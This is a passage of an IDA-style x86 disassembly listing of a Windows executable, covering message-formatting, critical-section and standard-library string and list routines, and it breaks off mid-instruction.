add ecx, 4 call sub_4013C4 retn ; =============== S U B R O U T I N E ======================================= sub_401A4D proc near ; CODE XREF: sub_40196F+13p mov eax, offset loc_41B10D call sub_41AE44 sub esp, 1Ch push ebx push esi push edi push dword ptr [ebp+10h] lea ecx, [ebp-28h] call sub_401C44 xor ebx, ebx push ebx push ebx lea eax, [ebp+10h] push eax push ebx push dword ptr [ebp+14h] mov [ebp-4], ebx push ebx push 1100h call dword_41C064 ; FormatMessageA cmp [ebp+10h], ebx jz short loc_401AAB push dword ptr [ebp+10h] call sub_40D970 pop ecx jmp short loc_401AA6 ; --------------------------------------------------------------------------- loc_401A93: ; CODE XREF: sub_401A4D+5Aj mov ecx, [ebp+10h] add ecx, eax mov dl, [ecx] cmp dl, 0Dh jz short loc_401AA4 cmp dl, 0Ah jnz short loc_401AB2 loc_401AA4: ; CODE XREF: sub_401A4D+50j mov [ecx], bl loc_401AA6: ; CODE XREF: sub_401A4D+44j dec eax jnz short loc_401A93 jmp short loc_401AB2 ; --------------------------------------------------------------------------- loc_401AAB: ; CODE XREF: sub_401A4D+39j mov dword ptr [ebp+10h], offset dword_41E020 loc_401AB2: ; CODE XREF: sub_401A4D+55j ; sub_401A4D+5Cj mov esi, offset dword_41E024 jmp short loc_401AD4 ; --------------------------------------------------------------------------- loc_401AB9: ; CODE XREF: sub_401A4D+A0j mov eax, [ebp+10h] push eax mov [ebp+14h], eax call sub_40D970 pop ecx push eax push dword ptr [ebp+14h] mov eax, edi lea ecx, [ebp-28h] call sub_401D1F loc_401AD4: ; CODE XREF: sub_401A4D+6Aj push esi call sub_40D970 pop ecx push eax push esi lea eax, [ebp-28h] push eax xor eax, eax call sub_401E6B mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_401AB9 cmp dword ptr [ebp-10h], 10h mov eax, [ebp-24h] jnb short loc_401AFB lea eax, [ebp-24h] loc_401AFB: ; CODE XREF: sub_401A4D+A9j push dword ptr [ebp+18h] mov ecx, [ebp+0Ch] push eax push dword ptr [ebp+8] call sub_401989 cmp dword ptr [ebp+10h], offset dword_41E020 jz short loc_401B1C push dword ptr [ebp+10h] call dword_41C074 ; LocalFree loc_401B1C: ; CODE XREF: sub_401A4D+C4j push ebx push 1 lea ecx, [ebp-28h] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 14h sub_401A4D endp ; =============== S U B R O U T I N E ======================================= sub_401B38 proc near ; CODE XREF: sub_405089+138p mov eax, offset loc_41AF37 call sub_41AE44 sub esp, 14h and dword ptr [ebp-14h], 0 push esi mov esi, [ebp+8] push edi call sub_4012E2 and dword ptr [ebp-4], 0 push ebx mov dword ptr [ebp-14h], 1 call dword_41C070 ; RtlEnterCriticalSection lea edi, [ebx+18h] mov eax, [edi+4] mov eax, [eax] mov [ebp-18h], eax mov [ebp-1Ch], edi loc_401B73: ; CODE XREF: sub_401B38+C0j cmp dword ptr [ebp-1Ch], 0 mov esi, [edi+4] jz short loc_401B81 cmp [ebp-1Ch], edi jz short loc_401B86 loc_401B81: ; CODE XREF: sub_401B38+42j call sub_40DCFC loc_401B86: ; CODE XREF: sub_401B38+47j cmp [ebp-18h], esi jz short loc_401BFD lea esi, [ebp-1Ch] call sub_406402 mov eax, [eax] cmp eax, [ebp+0Ch] jg short loc_401BF0 call sub_406402 mov eax, [eax] dec eax jz short loc_401BCC dec eax jz short loc_401BC5 dec eax jz short loc_401BBE dec eax jz short loc_401BB7 dec eax jnz short loc_401BD9 push offset dword_41E048 jmp short loc_401BD1 ; --------------------------------------------------------------------------- loc_401BB7: ; CODE XREF: sub_401B38+73j push offset dword_41E040 jmp short loc_401BD1 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401B38+70j push offset dword_41E038 jmp short loc_401BD1 ; --------------------------------------------------------------------------- loc_401BC5: ; CODE XREF: sub_401B38+6Dj push offset dword_41E030 jmp short loc_401BD1 ; --------------------------------------------------------------------------- loc_401BCC: ; CODE XREF: sub_401B38+6Aj push offset dword_41E028 loc_401BD1: ; CODE XREF: sub_401B38+7Dj ; sub_401B38+84j ... push dword ptr [ebp+8] call sub_401C66 loc_401BD9: ; CODE XREF: sub_401B38+76j lea esi, [ebp-1Ch] call sub_406402 mov esi, [ebp+8] push 0FFFFFFFFh add eax, 4 push 0 call sub_401F95 loc_401BF0: ; CODE XREF: sub_401B38+60j lea esi, [ebp-1Ch] call sub_405D8F jmp loc_401B73 ; --------------------------------------------------------------------------- loc_401BFD: ; CODE XREF: sub_401B38+51j mov esi, edi call sub_401CE8 push ebx call dword_41C06C ; RtlLeaveCriticalSection mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi mov large fs:0, ecx pop esi leave retn 8 sub_401B38 endp ; =============== S U B R O U T I N E ======================================= sub_401C1E proc near ; CODE XREF: sub_401869+26p ; sub_401919+2Cp ... arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_401564 push 0FFFFFFFFh push 0 push [esp+0Ch+arg_0] mov ecx, esi call sub_401315 mov eax, esi pop esi retn 4 sub_401C1E endp ; =============== S U B R O U T I N E ======================================= sub_401C44 proc near ; CODE XREF: sub_401A4D+16p ; sub_401F07+31p ... arg_0 = dword ptr 4 push esi mov esi, ecx push 0 mov dword ptr [esi+18h], 0Fh call sub_401564 push [esp+4+arg_0] mov ecx, esi call sub_4013A7 mov eax, esi pop esi retn 4 sub_401C44 endp ; =============== S U B R O U T I N E ======================================= sub_401C66 proc near ; CODE XREF: sub_401B38+9Cp ; sub_403C76+10Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] call sub_40D970 pop ecx push eax push [esp+4+arg_4] mov eax, [esp+8+arg_0] call sub_402039 retn 8 sub_401C66 endp ; =============== S U B R O U T I N E ======================================= sub_401C81 proc near ; CODE XREF: sub_4081BF+21Ep ; sub_4093C0+18p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_4] call sub_40D970 pop ecx push eax push [esp+4+arg_4] mov eax, [esp+8+arg_8] push [esp+8+arg_0] call sub_401E6B retn 0Ch sub_401C81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401CA0 proc near ; CODE XREF: sub_401989+87p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov eax, [ebx+4] push esi push edi mov edi, [eax] lea esi, [ebp+var_8] mov [ebp+var_8], ebx mov [ebp+var_4], edi call sub_405D8F cmp edi, [ebx+4] jz short loc_401CE4 mov eax, [edi+4] mov ecx, [edi] mov [eax], ecx mov ecx, [edi+4] mov eax, [edi] push 0 mov [eax+4], ecx push 1 lea ecx, [edi+0Ch] call sub_4013C4 push edi call sub_40DD8A dec dword ptr [ebx+8] pop ecx loc_401CE4: ; CODE XREF: sub_401CA0+1Dj pop edi pop esi leave retn sub_401CA0 endp ; =============== S U B R O U T I N E ======================================= sub_401CE8 proc near ; CODE XREF: sub_401B38+C7p ; .vty:0041B68Fp mov eax, [esi+4] push edi mov edi, [eax] mov [eax], eax mov eax, [esi+4] mov [eax+4], eax and dword ptr [esi+8], 0 cmp edi, [esi+4] jz short loc_401D1D push ebx loc_401D00: ; CODE XREF: sub_401CE8+32j mov ebx, [edi] push 0 push 1 lea ecx, [edi+0Ch] call sub_4013C4 push edi call sub_40DD8A cmp ebx, [esi+4] pop ecx mov edi, ebx jnz short loc_401D00 pop ebx loc_401D1D: ; CODE XREF: sub_401CE8+15j pop edi retn sub_401CE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D1F proc near ; CODE XREF: sub_401A4D+82p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx mov esi, eax mov edi, ecx mov [ebp+var_4], 2 call sub_4016D0 test al, al jz short loc_401D5E cmp dword ptr [edi+18h], 10h jb short loc_401D4A mov eax, [edi+4] jmp short loc_401D4D ; --------------------------------------------------------------------------- loc_401D4A: ; CODE XREF: sub_401D1F+24j lea eax, [edi+4] loc_401D4D: ; CODE XREF: sub_401D1F+29j push [ebp+arg_4] sub ebx, eax push ebx push edi call sub_4020D3 jmp loc_401E64 ; --------------------------------------------------------------------------- loc_401D5E: ; CODE XREF: sub_401D1F+1Ej cmp [edi+14h], esi jnb short loc_401D68 call sub_40D7C3 loc_401D68: ; CODE XREF: sub_401D1F+42j mov eax, [edi+14h] mov ecx, eax sub ecx, esi cmp ecx, 2 jnb short loc_401D77 mov [ebp+var_4], ecx loc_401D77: ; CODE XREF: sub_401D1F+53j sub eax, [ebp+var_4] or ecx, 0FFFFFFFFh sub ecx, [ebp+arg_4] cmp ecx, eax ja short loc_401D89 call sub_40D784 loc_401D89: ; CODE XREF: sub_401D1F+63j mov ebx, [edi+14h] mov eax, [ebp+var_4] sub ebx, esi sub ebx, eax cmp [ebp+arg_4], eax jnb short loc_401DD0 mov eax, [edi+18h] cmp eax, 10h lea ecx, [edi+4] jb short loc_401DA7 mov edx, [ecx] jmp short loc_401DA9 ; --------------------------------------------------------------------------- loc_401DA7: ; CODE XREF: sub_401D1F+82j mov edx, ecx loc_401DA9: ; CODE XREF: sub_401D1F+86j cmp eax, 10h jb short loc_401DB0 mov ecx, [ecx] loc_401DB0: ; CODE XREF: sub_401D1F+8Dj sub eax, esi sub eax, [ebp+arg_4] add edx, esi add edx, [ebp+var_4] push ebx push edx push eax mov eax, ecx add eax, esi add eax, [ebp+arg_4] mov [ebp+var_8], ecx push eax call sub_401049 add esp, 10h loc_401DD0: ; CODE XREF: sub_401D1F+77j xor ecx, ecx cmp [ebp+arg_4], ecx ja short loc_401DE0 cmp [ebp+var_4], ecx jbe loc_401E62 loc_401DE0: ; CODE XREF: sub_401D1F+B6j mov eax, [edi+14h] sub eax, [ebp+var_4] push ecx add eax, [ebp+arg_4] mov ecx, edi push eax mov [ebp+var_8], eax call sub_401580 test al, al jz short loc_401E62 mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_401E34 mov eax, [edi+18h] cmp eax, 10h lea ecx, [edi+4] jb short loc_401E10 mov edx, [ecx] jmp short loc_401E12 ; --------------------------------------------------------------------------- loc_401E10: ; CODE XREF: sub_401D1F+EBj mov edx, ecx loc_401E12: ; CODE XREF: sub_401D1F+EFj cmp eax, 10h jb short loc_401E19 mov ecx, [ecx] loc_401E19: ; CODE XREF: sub_401D1F+F6j add edx, esi add edx, [ebp+var_4] push ebx sub eax, esi sub eax, [ebp+arg_4] push edx add ecx, esi add ecx, [ebp+arg_4] push eax push ecx call sub_401049 add esp, 10h loc_401E34: ; CODE XREF: sub_401D1F+E0j mov eax, [edi+18h] cmp eax, 10h jb short loc_401E41 mov ecx, [edi+4] jmp short loc_401E44 ; --------------------------------------------------------------------------- loc_401E41: ; CODE XREF: sub_401D1F+11Bj lea ecx, [edi+4] loc_401E44: ; CODE XREF: sub_401D1F+120j push [ebp+arg_4] sub eax, esi push [ebp+arg_0] add ecx, esi push eax push ecx call sub_40102D add esp, 10h push [ebp+var_8] mov ecx, edi call sub_401564 loc_401E62: ; CODE XREF: sub_401D1F+BBj ; sub_401D1F+D8j mov eax, edi loc_401E64: ; CODE XREF: sub_401D1F+3Aj pop edi pop esi pop ebx leave retn 8 sub_401D1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E6B proc near ; CODE XREF: sub_401A4D+96p ; sub_401C81+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 0 mov ecx, [ebp+arg_0] jnz short loc_401E7D cmp eax, [ecx+14h] jbe short locret_401EEA loc_401E7D: ; CODE XREF: sub_401E6B+Bj push ebx push esi mov esi, [ecx+14h] cmp eax, esi push edi jnb short loc_401EE4 sub esi, eax cmp [ebp+arg_8], esi ja short loc_401EE4 xor edx, edx inc edx sub edx, [ebp+arg_8] add esi, edx cmp dword ptr [ecx+18h], 10h jb short loc_401EA6 add ecx, 4 mov [ebp+var_4], ecx mov ecx, [ecx] jmp short loc_401EAC ; --------------------------------------------------------------------------- loc_401EA6: ; CODE XREF: sub_401E6B+2Fj add ecx, 4 mov [ebp+var_4], ecx loc_401EAC: ; CODE XREF: sub_401E6B+39j lea ebx, [ecx+eax] jmp short loc_401ECD ; --------------------------------------------------------------------------- loc_401EB1: ; CODE XREF: sub_401E6B+77j push [ebp+arg_8] push [ebp+arg_4] push edi call sub_40DED2 add esp, 0Ch test eax, eax jz short loc_401EEE sub ebx, edi lea esi, [esi+ebx-1] lea ebx, [edi+1] loc_401ECD: ; CODE XREF: sub_401E6B+44j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] push esi push eax push ebx call sub_40F560 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_401EB1 loc_401EE4: ; CODE XREF: sub_401E6B+1Aj ; sub_401E6B+21j or eax, 0FFFFFFFFh loc_401EE7: ; CODE XREF: sub_401E6B+9Aj pop edi pop esi pop ebx locret_401EEA: ; CODE XREF: sub_401E6B+10j leave retn 0Ch ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E6B+57j mov eax, [ebp+arg_0] cmp dword ptr [eax+18h], 10h jb short loc_401EFE mov eax, [ebp+var_4] mov ecx, [eax] jmp short loc_401F01 ; --------------------------------------------------------------------------- loc_401EFE: ; CODE XREF: sub_401E6B+8Aj mov ecx, [ebp+var_4] loc_401F01: ; CODE XREF: sub_401E6B+91j mov eax, edi sub eax, ecx jmp short loc_401EE7 sub_401E6B endp ; =============== S U B R O U T I N E ======================================= sub_401F07 proc near ; CODE XREF: sub_401989+78p mov eax, offset loc_41AFA6 call sub_41AE44 sub esp, 48h push esi mov esi, [ebp+0Ch] push dword ptr [esi+4] push esi call sub_4023B8 mov ecx, [edi+8] mov edx, 7FFFFFFh sub edx, ecx cmp edx, 1 jnb short loc_401F62 push offset aListTTooLong ; "list<T> too long" lea ecx, [ebp-2Ch] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-2Ch] push eax lea ecx, [ebp-54h] call sub_401869 push offset dword_41FEF8 lea eax, [ebp-54h] push eax mov dword ptr [ebp-54h], offset off_41C2A8 call sub_4107BC loc_401F62: ; CODE XREF: sub_401F07+27j inc ecx mov [edi+8], ecx mov [esi+4], eax mov ecx, [eax+4] mov [ecx], eax mov ecx, [ebp-0Ch] mov large fs:0, ecx pop esi leave retn 8 sub_401F07 endp ; =============== S U B R O U T I N E ======================================= sub_401F7D proc near ; CODE XREF: sub_4024A7+25p push 28h call sub_40DE68 test eax, eax pop ecx jz short loc_401F8B mov [eax], eax loc_401F8B: ; CODE XREF: sub_401F7D+Aj lea ecx, [eax+4] test ecx, ecx jz short locret_401F94 mov [ecx], eax locret_401F94: ; CODE XREF: sub_401F7D+13j retn sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F95 proc near ; CODE XREF: sub_401B38+B3p ; sub_402039+2Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] push edi mov edi, eax mov eax, [edi+14h] cmp eax, [ebp+arg_0] jnb short loc_401FAD call sub_40D7C3 loc_401FAD: ; CODE XREF: sub_401F95+11j mov eax, [edi+14h] sub eax, [ebp+arg_0] cmp eax, ebx jnb short loc_401FBC mov ebx, eax mov [ebp+arg_4], ebx loc_401FBC: ; CODE XREF: sub_401F95+20j or eax, 0FFFFFFFFh sub eax, [esi+14h] cmp eax, ebx jbe short loc_401FD0 mov eax, [esi+14h] lea ecx, [eax+ebx] cmp ecx, eax jnb short loc_401FD5 loc_401FD0: ; CODE XREF: sub_401F95+2Fj call sub_40D784 loc_401FD5: ; CODE XREF: sub_401F95+39j test ebx, ebx jbe short loc_402031 mov eax, [esi+14h] add eax, ebx push 0 push eax mov ecx, esi mov [ebp+var_4], eax call sub_401580 test al, al jz short loc_402031 cmp dword ptr [edi+18h], 10h jb short loc_401FFA mov edi, [edi+4] jmp short loc_401FFD ; --------------------------------------------------------------------------- loc_401FFA: ; CODE XREF: sub_401F95+5Ej add edi, 4 loc_401FFD: ; CODE XREF: sub_401F95+63j mov eax, [esi+18h] loc_402000: ; DATA XREF: .vty:00427598r cmp eax, 10h jb short loc_40200A ; DATA XREF: .vty:00427586r mov edx, [esi+4] loc_402008: ; DATA XREF: .vty:00427580r jmp short loc_40200D ; --------------------------------------------------------------------------- loc_40200A: ; CODE XREF: sub_401F95+6Ej ; DATA XREF: sub_4274B4+9Br lea edx, [esi+4] loc_40200D: ; CODE XREF: sub_401F95:loc_402008j push [ebp+arg_4] loc_402010: ; DATA XREF: sub_4274B4+1Dr mov ecx, [esi+14h] mov ebx, [ebp+arg_0] ; DATA XREF: sub_4274B4+69r add edi, ebx loc_402018: ; DATA XREF: sub_4274B4+49r sub eax, ecx push edi push eax loc_40201C: ; DATA XREF: sub_4274B4+56r add ecx, edx push ecx call sub_40102D ; DATA XREF: sub_4274B4+23r loc_402024: ; DATA XREF: sub_4274B4+Dr add esp, 10h push [ebp+var_4] mov ecx, esi loc_40202C: ; DATA XREF: .vty:004275B8r call sub_401564 loc_402031: ; CODE XREF: sub_401F95+42j ; sub_401F95+58j pop edi mov eax, esi pop ebx leave retn 8 sub_401F95 endp ; =============== S U B R O U T I N E ======================================= sub_402039 proc near ; CODE XREF: sub_401C66+13p ; sub_403E41+1DAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov edi, [esp+0Ch+arg_0] mov esi, eax push edi mov ecx, esi call sub_4016D0 test al, al jz short loc_40206D cmp dword ptr [esi+18h], 10h jb short loc_40205D mov eax, [esi+4] jmp short loc_402060 ; --------------------------------------------------------------------------- loc_40205D: ; CODE XREF: sub_402039+1Dj lea eax, [esi+4] loc_402060: ; CODE XREF: sub_402039+22j sub edi, eax push ebx push edi mov eax, esi call sub_401F95 jmp short loc_4020CD ; --------------------------------------------------------------------------- loc_40206D: ; CODE XREF: sub_402039+17j or eax, 0FFFFFFFFh sub eax, [esi+14h] cmp eax, ebx jbe short loc_402081 mov eax, [esi+14h] lea ecx, [eax+ebx] cmp ecx, eax jnb short loc_402086 loc_402081: ; CODE XREF: sub_402039+3Cj call sub_40D784 loc_402086: ; CODE XREF: sub_402039+46j test ebx, ebx jbe short loc_4020CB mov edi, [esi+14h] push 0 add edi, ebx push edi mov ecx, esi call sub_401580 test al, al jz short loc_4020CB mov eax, [esi+18h] cmp eax, 10h jb short loc_4020AA mov edx, [esi+4] jmp short loc_4020AD ; --------------------------------------------------------------------------- loc_4020AA: ; CODE XREF: sub_402039+6Aj lea edx, [esi+4] loc_4020AD: ; CODE XREF: sub_402039+6Fj mov ecx, [esi+14h] push ebx push [esp+10h+arg_0] sub eax, ecx push eax add ecx, edx push ecx call sub_40102D add esp, 10h push edi mov ecx, esi call sub_401564 loc_4020CB: ; CODE XREF: sub_402039+4Fj ; sub_402039+62j mov eax, esi loc_4020CD: ; CODE XREF: sub_402039+32j pop edi pop esi pop ebx retn 8 sub_402039 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020D3 proc near ; CODE XREF: sub_401D1F+35p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [edi+14h], esi push ebx push 2 pop ebx mov [ebp+var_4], ebx jb short loc_4020F0 mov eax, [ebp+arg_0] mov eax, [eax+14h] cmp eax, [ebp+arg_4] jnb short loc_4020F5 loc_4020F0: ; CODE XREF: sub_4020D3+10j call sub_40D7C3 loc_4020F5: ; CODE XREF: sub_4020D3+1Bj mov ecx, [edi+14h] mov eax, ecx sub eax, esi cmp eax, ebx jnb short loc_402103 mov [ebp+var_4], eax loc_402103: ; CODE XREF: sub_4020D3+2Bj mov eax, [ebp+arg_0] mov eax, [eax+14h] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jnb short loc_402114 mov [ebp+arg_8], eax loc_402114: ; CODE XREF: sub_4020D3+3Cj sub ecx, [ebp+var_4] or eax, 0FFFFFFFFh sub eax, [ebp+arg_8] cmp eax, ecx ja short loc_402126 call sub_40D784 loc_402126: ; CODE XREF: sub_4020D3+4Cj mov eax, [edi+14h] mov ecx, eax sub ecx, [ebp+var_4] mov ebx, eax add ecx, [ebp+arg_8] sub ebx, esi sub ebx, [ebp+var_4] cmp eax, ecx mov [ebp+var_8], ebx mov [ebp+var_C], ecx jnb short loc_40214C push 0 push ecx mov ecx, edi call sub_401580 loc_40214C: ; CODE XREF: sub_4020D3+6Dj cmp edi, [ebp+arg_0] jz short loc_4021C3 mov eax, [edi+18h] cmp eax, 10h jb short loc_40215E mov edx, [edi+4] jmp short loc_402161 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020D3+84j lea edx, [edi+4] loc_402161: ; CODE XREF: sub_4020D3+89j cmp eax, 10h jb short loc_40216B mov ecx, [edi+4] jmp short loc_40216E ; --------------------------------------------------------------------------- loc_40216B: ; CODE XREF: sub_4020D3+91j lea ecx, [edi+4] loc_40216E: ; CODE XREF: sub_4020D3+96j add edx, esi add edx, [ebp+var_4] push ebx sub eax, esi sub eax, [ebp+arg_8] push edx add ecx, esi add ecx, [ebp+arg_8] push eax push ecx call sub_401049 mov eax, [ebp+arg_0] add esp, 10h cmp dword ptr [eax+18h], 10h jb short loc_402197 mov edx, [eax+4] jmp short loc_40219A ; --------------------------------------------------------------------------- loc_402197: ; CODE XREF: sub_4020D3+BDj lea edx, [eax+4] loc_40219A: ; CODE XREF: sub_4020D3+C2j mov eax, [edi+18h] cmp eax, 10h jb short loc_4021A7 mov ecx, [edi+4] jmp short loc_4021AA ; --------------------------------------------------------------------------- loc_4021A7: ; CODE XREF: sub_4020D3+CDj lea ecx, [edi+4] loc_4021AA: ; CODE XREF: sub_4020D3+D2j push [ebp+arg_8] mov ebx, [ebp+arg_4] add edx, ebx push edx sub eax, esi push eax add ecx, esi push ecx call sub_40102D jmp loc_4023A4 ; --------------------------------------------------------------------------- loc_4021C3: ; CODE XREF: sub_4020D3+7Cj mov eax, [ebp+var_4] cmp [ebp+arg_8], eax lea ebx, [edi+4] ja short loc_402231 mov eax, [edi+18h] cmp eax, 10h jb short loc_4021DA mov ecx, [ebx] jmp short loc_4021DC ; --------------------------------------------------------------------------- loc_4021DA: ; CODE XREF: sub_4020D3+101j mov ecx, ebx loc_4021DC: ; CODE XREF: sub_4020D3+105j cmp eax, 10h jb short loc_4021E8 mov edx, [ebx] mov [ebp+arg_0], edx jmp short loc_4021EB ; --------------------------------------------------------------------------- loc_4021E8: ; CODE XREF: sub_4020D3+10Cj mov [ebp+arg_0], ebx loc_4021EB: ; CODE XREF: sub_4020D3+113j push [ebp+arg_8] mov edx, [ebp+arg_4] add ecx, edx sub eax, esi push ecx push eax mov eax, [ebp+arg_0] add eax, esi push eax call sub_401049 mov eax, [edi+18h] add esp, 10h cmp eax, 10h jb short loc_402211 mov ecx, [ebx] jmp short loc_402213 ; --------------------------------------------------------------------------- loc_402211: ; CODE XREF: sub_4020D3+138j mov ecx, ebx loc_402213: ; CODE XREF: sub_4020D3+13Cj cmp eax, 10h jb short loc_40221A mov ebx, [ebx] loc_40221A: ; CODE XREF: sub_4020D3+143j push [ebp+var_8] add ecx, esi add ecx, [ebp+var_4] sub eax, esi sub eax, [ebp+arg_8] add ebx, esi add ebx, [ebp+arg_8] jmp loc_40239C ; --------------------------------------------------------------------------- loc_402231: ; CODE XREF: sub_4020D3+F9j cmp [ebp+arg_4], esi ja short loc_402299 mov eax, [edi+18h] cmp eax, 10h jb short loc_402242 mov ecx, [ebx] jmp short loc_402244 ; --------------------------------------------------------------------------- loc_402242: ; CODE XREF: sub_4020D3+169j mov ecx, ebx loc_402244: ; CODE XREF: sub_4020D3+16Dj cmp eax, 10h jb short loc_402250 mov edx, [ebx] mov [ebp+arg_0], edx jmp short loc_402253 ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020D3+174j mov [ebp+arg_0], ebx loc_402253: ; CODE XREF: sub_4020D3+17Bj push [ebp+var_8] sub eax, esi sub eax, [ebp+arg_8] add ecx, esi add ecx, [ebp+var_4] push ecx push eax mov eax, [ebp+arg_0] add eax, esi add eax, [ebp+arg_8] push eax call sub_401049 mov eax, [edi+18h] add esp, 10h cmp eax, 10h jb short loc_40227F mov ecx, [ebx] jmp short loc_402281 ; --------------------------------------------------------------------------- loc_40227F: ; CODE XREF: sub_4020D3+1A6j mov ecx, ebx loc_402281: ; CODE XREF: sub_4020D3+1AAj cmp eax, 10h jb short loc_402288 mov ebx, [ebx] loc_402288: ; CODE XREF: sub_4020D3+1B1j mov edx, [ebp+arg_4] add ecx, edx loc_40228D: ; CODE XREF: sub_4020D3+228j push [ebp+arg_8] sub eax, esi add ebx, esi jmp loc_40239C ; --------------------------------------------------------------------------- loc_402299: ; CODE XREF: sub_4020D3+161j add eax, esi cmp eax, [ebp+arg_4] mov eax, [edi+18h] ja short loc_4022FD cmp eax, 10h jb short loc_4022AC mov ecx, [ebx] jmp short loc_4022AE ; --------------------------------------------------------------------------- loc_4022AC: ; CODE XREF: sub_4020D3+1D3j mov ecx, ebx loc_4022AE: ; CODE XREF: sub_4020D3+1D7j cmp eax, 10h jb short loc_4022BA mov edx, [ebx] mov [ebp+arg_0], edx jmp short loc_4022BD ; --------------------------------------------------------------------------- loc_4022BA: ; CODE XREF: sub_4020D3+1DEj mov [ebp+arg_0], ebx loc_4022BD: ; CODE XREF: sub_4020D3+1E5j push [ebp+var_8] sub eax, esi sub eax, [ebp+arg_8] add ecx, esi add ecx, [ebp+var_4] push ecx push eax mov eax, [ebp+arg_0] add eax, esi add eax, [ebp+arg_8] push eax call sub_401049 mov eax, [edi+18h] add esp, 10h cmp eax, 10h jb short loc_4022E9 mov ecx, [ebx] jmp short loc_4022EB ; --------------------------------------------------------------------------- loc_4022E9: ; CODE XREF: sub_4020D3+210j mov ecx, ebx loc_4022EB: ; CODE XREF: sub_4020D3+214j cmp eax, 10h jb short loc_4022F2 mov ebx, [ebx] loc_4022F2: ; CODE XREF: sub_4020D3+21Bj sub ecx, [ebp+var_4] add ecx, [ebp+arg_4] add ecx, [ebp+arg_8] jmp short loc_40228D ; --------------------------------------------------------------------------- loc_4022FD: ; CODE XREF: sub_4020D3+1CEj cmp eax, 10h jb short loc_402306 mov ecx, [ebx] jmp short loc_402308 ; --------------------------------------------------------------------------- loc_402306: ; CODE XREF: sub_4020D3+22Dj mov ecx, ebx loc_402308: ; CODE XREF: sub_4020D3+231j cmp eax, 10h jb short loc_402314 mov edx, [ebx] mov [ebp+arg_0], edx jmp short loc_402317 ; --------------------------------------------------------------------------- loc_402314: ; CODE XREF: sub_4020D3+238j mov [ebp+arg_0], ebx loc_402317: ; CODE XREF: sub_4020D3+23Fj push [ebp+var_4] mov edx, [ebp+arg_4] add ecx, edx sub eax, esi push ecx push eax mov eax, [ebp+arg_0] add eax, esi push eax call sub_401049 mov eax, [edi+18h] add esp, 10h cmp eax, 10h jb short loc_40233D mov ecx, [ebx] jmp short loc_40233F ; --------------------------------------------------------------------------- loc_40233D: ; CODE XREF: sub_4020D3+264j mov ecx, ebx loc_40233F: ; CODE XREF: sub_4020D3+268j cmp eax, 10h jb short loc_40234B mov edx, [ebx] mov [ebp+arg_0], edx jmp short loc_40234E ; --------------------------------------------------------------------------- loc_40234B: ; CODE XREF: sub_4020D3+26Fj mov [ebp+arg_0], ebx loc_40234E: ; CODE XREF: sub_4020D3+276j push [ebp+var_8] sub eax, esi sub eax, [ebp+arg_8] add ecx, esi add ecx, [ebp+var_4] push ecx push eax mov eax, [ebp+arg_0] add eax, esi add eax, [ebp+arg_8] push eax call sub_401049 mov eax, [edi+18h] add esp, 10h cmp eax, 10h jb short loc_40237A mov ecx, [ebx] jmp short loc_40237C ; --------------------------------------------------------------------------- loc_40237A: ; CODE XREF: sub_4020D3+2A1j mov ecx, ebx loc_40237C: ; CODE XREF: sub_4020D3+2A5j cmp eax, 10h jb short loc_402383 mov ebx, [ebx] loc_402383: ; CODE XREF: sub_4020D3+2ACj mov edx, [ebp+arg_8] sub edx, [ebp+var_4] sub eax, esi sub eax, [ebp+var_4] push edx mov edx, [ebp+arg_4] add ecx, edx add ecx, [ebp+arg_8] add ebx, esi add ebx, [ebp+var_4] loc_40239C: ; CODE XREF: sub_4020D3+159j ; sub_4020D3+1C1j push ecx push eax push ebx call sub_401049 loc_4023A4: ; CODE XREF: sub_4020D3+EBj add esp, 10h push [ebp+var_C] mov ecx, edi call sub_401564 mov eax, edi pop ebx leave retn 0Ch sub_4020D3 endp ; =============== S U B R O U T I N E ======================================= sub_4023B8 proc near ; CODE XREF: sub_401F07+15p mov eax, offset loc_41AF14 call sub_41AE44 push ecx push ecx push ebx push esi push edi mov [ebp-10h], esp push 28h mov edi, ecx call sub_40DE68 and dword ptr [ebp-4], 0 mov esi, eax test esi, esi pop ecx mov [ebp-14h], esi jz short loc_4023E6 mov eax, [ebp+8] mov [esi], eax loc_4023E6: ; CODE XREF: sub_4023B8+27j lea eax, [esi+4] test eax, eax jz short loc_4023F2 mov ecx, [ebp+0Ch] mov [eax], ecx loc_4023F2: ; CODE XREF: sub_4023B8+33j lea eax, [esi+8] test eax, eax mov 